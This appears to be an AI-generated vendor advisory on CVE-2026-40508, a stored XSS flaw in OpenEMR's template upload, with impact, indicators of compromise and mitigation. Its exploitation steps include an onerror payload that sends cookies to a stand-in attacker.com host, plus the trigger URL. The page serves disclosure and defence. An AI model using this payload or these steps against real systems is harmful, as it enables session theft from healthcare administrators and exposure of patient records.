CVE-2026-40508
OpenEMR vulnerability analysis and mitigation

Overview

CVE-2026-40508 is a stored cross-site scripting (XSS) vulnerability in OpenEMR's patient portal template import handler (/portal/import_template.php). It affects all OpenEMR versions before 8.3.0 and allows authenticated attackers with Forms Administration permissions to upload template files containing arbitrary HTML or JavaScript that executes in the browsers of other Forms Administration users. The vulnerability was published on August 19, 2026, with a patch released in OpenEMR 8.3.0. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (OpenEMR Advisory, GitHub Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a failure to sanitize uploaded template file content before storage and rendering. When a template is uploaded via POST /portal/import_template.php, the file content is stored by DocumentTemplateService.uploadTemplate() without HTML sanitization — the existing tag-check logic in insertTemplate() and updateTemplateContent() applies only to templates created or edited through the editor UI, not to uploaded files. When any Forms Administration user subsequently views the template via mode=editor_render_html, the unsanitized content is retrieved and passed directly to renderEditorHtml(), executing any embedded JavaScript. Payloads using event handler attributes such as onerror or onload (e.g., <img src=x onerror=alert(document.cookie)>) bypass the existing tag check entirely. A reporter-provided PoC script (PLT-2026-05-01.py) automates the upload and provides the trigger URL (OpenEMR Advisory, Patch Commit).

Impact

Successful exploitation enables an authenticated attacker with Forms Administration permissions to inject persistent JavaScript that executes in the browser sessions of other users holding the same permissions. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of other administrators, and potential privilege escalation within the OpenEMR application. Given that OpenEMR handles sensitive protected health information (PHI), a compromised administrative session could expose patient records and enable further lateral movement within the healthcare system (OpenEMR Advisory, GitHub Advisory).

Exploitability

A proof-of-concept script (PLT-2026-05-01.py) was referenced in the OpenEMR security advisory, and CISA's SSVC assessment classifies exploitation status as "poc" as of August 19, 2026. The vulnerability is not automatable (requires user interaction from a victim) and has a partial technical impact. The EPSS score is 0.0, and there is no evidence of active in-the-wild exploitation or inclusion in the CISA KEV catalog at this time. Exploitation requires the attacker to already hold a valid account with Forms Administration permissions (OpenEMR Advisory, GitHub Advisory).

Exploitation steps

  1. Obtain credentials: Acquire or compromise an OpenEMR account with Administration – Forms Administration permissions on a target instance running a version prior to 8.3.0.
  2. Craft malicious template: Create an HTML file containing an XSS payload that uses event handler attributes to bypass the existing tag check, for example: <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">.
  3. Upload the template: Authenticate to OpenEMR and submit the malicious file via POST /portal/import_template.php using the template upload functionality (the template_files[] parameter). The file content is stored without sanitization.
  4. Obtain the template ID: Note the docid assigned to the uploaded template from the server response or by querying the template list.
  5. Trigger execution: Direct another Forms Administration user to navigate to http://<host>:<port>/portal/import_template.php?mode=editor_render_html&docid=<template_id>, or wait for a victim to open the template in the HTML editor during normal workflow.
  6. Harvest results: The injected script executes in the victim's browser, exfiltrating session cookies, credentials, or performing actions on behalf of the victim administrator (OpenEMR Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from the OpenEMR server or client browsers to unexpected external domains shortly after a Forms Administration user views a template; unusual POST requests to /portal/import_template.php uploading HTML files with event handler attributes (onerror, onload, onclick, etc.).
  • Logs: Web server access logs showing POST requests to /portal/import_template.php with file uploads from Forms Administration accounts, followed by GET requests to the same endpoint with mode=editor_render_html; application logs recording template uploads by accounts not typically performing such actions.
  • File System: Newly uploaded template files in the OpenEMR document templates storage directory containing <script>, onerror=, onload=, or javascript: strings; unexpected .html files with embedded JavaScript in the template storage path.
  • Process/Browser: Browser developer tool network logs showing requests to attacker-controlled domains triggered from the OpenEMR portal page; session tokens appearing in external server logs.

Mitigation and workarounds

The primary remediation is to upgrade OpenEMR to version 8.3.0 or later, which introduces HTMLPurifier-based sanitization applied both at write time and at render time in renderEditorHtml(), preventing stored XSS payloads from executing (OpenEMR Release, Patch Commit). As interim mitigations, restrict Forms Administration permissions to the minimum number of trusted users, and consider implementing Content Security Policy (CSP) headers to limit inline script execution in the HTML editor. Organizations should also review existing uploaded templates for suspicious content prior to upgrading.

Additional resources


SourceThis report was generated using AI

Related OpenEMR vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-40506HIGH7
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 17, 2026
CVE-2026-76614MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40509MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40508MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40507MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management